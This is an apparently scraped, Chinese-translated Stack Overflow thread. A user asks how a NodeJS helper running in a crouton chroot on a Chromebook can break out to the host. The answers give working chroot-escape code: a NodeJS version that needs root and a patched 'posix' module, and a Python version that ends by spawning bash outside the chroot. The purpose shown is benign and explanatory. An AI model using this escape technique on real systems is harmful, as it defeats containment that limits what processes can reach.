【问题标题】:Break out of chroot using NodeJS使用 NodeJS 突破 chroot
【发布时间】:2017-11-25 14:06:47
【问题描述】:

标题说明了一切。我可以在 node-js 程序中使用什么代码来突破 chroot?

我将它用于输入助手程序。输入助手程序在 Chromebook 上由 crouton 创建的 chroot 内运行。但是,我希望输入助手能够跳出 linux chroot,进入我的 chromebook 的根目录,以便我可以运行“adb”命令与 Android 子系统进行交互。 (点击屏幕等区域)

我已经找到了使用 Python 和 C++ 的方法,但不是 NodeJS。

【问题讨论】:

  • 你试过用c++写原生节点模块吗?
  • @Ankur 不,但我找到了一种使用“posix”节点模块的方法。 (稍作修改)
  • 另外,为什么投反对票?这是一个真实项目的合理问题:github.com/Venryx/InputAssistant

标签: node.js chroot


【解决方案1】:

好的,我在这里通过模仿这个 Perl 脚本的代码来了解如何:http://pentestmonkey.net/blog/chroot-breakout-perl

NodeJS版本如下:(注意确实需要root权限)

var fs = require("fs");
var posix = require("posix"); // run "npm install --save posix" first

function EscapeCHRoot() {
    var dir = "./tempChRoot";

    // create subfolder to be our new root
    if (!fs.existsSync(dir)){
        fs.mkdirSync(dir);
    }

    // change root to the subdirectory (letting us break out, ie. use "..")
    posix.chroot(dir);

    // change current-directory, all the way up to host's root
    for (var i = 0; i < 100; i++) {
        process.chdir("..");
    }

    // change root to host's root folder, completing break-out process
    posix.chroot(".");
}

但是,上面的代码在使用前确实需要对“posix”npm 模块进行更改。这是因为默认情况下,“posix”模块会在运行 chroot 时将工作目录更改为 chroot 目录(这会阻止 chroot 突破工作)。所以我们需要编辑代码,让它省去 change-directory 调用。

为此,打开“node_modules/posix/src/posix.cc”,并注释掉这些行

// proper order is to first chdir() and then chroot()
if (chdir(*dir_path)) {
    return Nan::ThrowError(Nan::ErrnoException(errno, "chroot: chdir: ", ""));
}

然后在其文件夹中运行“npm install”。

应该是这样的。运行 EscapeCHRoot() 函数现在应该可以正确转义,允许之后的代码访问主机系统的文件。

【讨论】:

  • 这行得通吗?似乎没有,但我没有在 ChromeOS 上进行测试。如果是这样,这不是操作系统中的漏洞吗?
  • 是的,它在 ChromeOS 上对我有用(在 Crouton 中;不知道它是否适用于后来创建的官方 ChromeOS Linux)。至于 chroot 技巧是一个漏洞,我想我记得读过它并没有考虑到这一点,因为 chroot 从来没有打算作为一种安全功能(而是作为一种容器化方法)。 (特别是对于 ChromeOS,您必须首先启用开发者模式才能创建 Crouton 实例)
【解决方案2】:

对于其他搜索该主题的人,我还发现了如何在 Python 中进行 chroot 转义。在这种情况下,我们不需要处理任何外部文件,因为 Python 解释器提供了 os.fchdir() 命令,它可以让您在 os.chroot(".") 将“当前目录”放在上面的 chroot 文件夹下面之后将其恢复到上面。

import os

# store reference to original root, so we can return to it later
real_root = os.open("/", os.O_RDONLY)

# create subfolder to be our new root
if not os.path.exists("/tempChRoot"):
  os.makedirs("/tempChRoot")

# change root to the new subfolder
os.chroot("/tempChRoot")

# change current-directory back to original root
os.fchdir(real_root)

# change current-directory, all the way up to host's root
for i in range(100):
  os.chdir("..")

# change root to host's root folder, completing break-out process
os.chroot(".")
os.close(real_root)

# launch new (out of chroot) shell
os.system("bash") # alternative: "sh"

我目前在我的输入助手程序中使用 NodeJS chroot-escaping,当我在 crouton 中打开一个 shell 并且我想访问它的 chroot 之外的文件时,这个 Python 脚本作为帮助程序。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2016-04-01
    • 1970-01-01
    • 1970-01-01
    • 2015-11-06
    • 2012-06-13
    • 1970-01-01
    • 2010-12-15
    相关资源
    最近更新 更多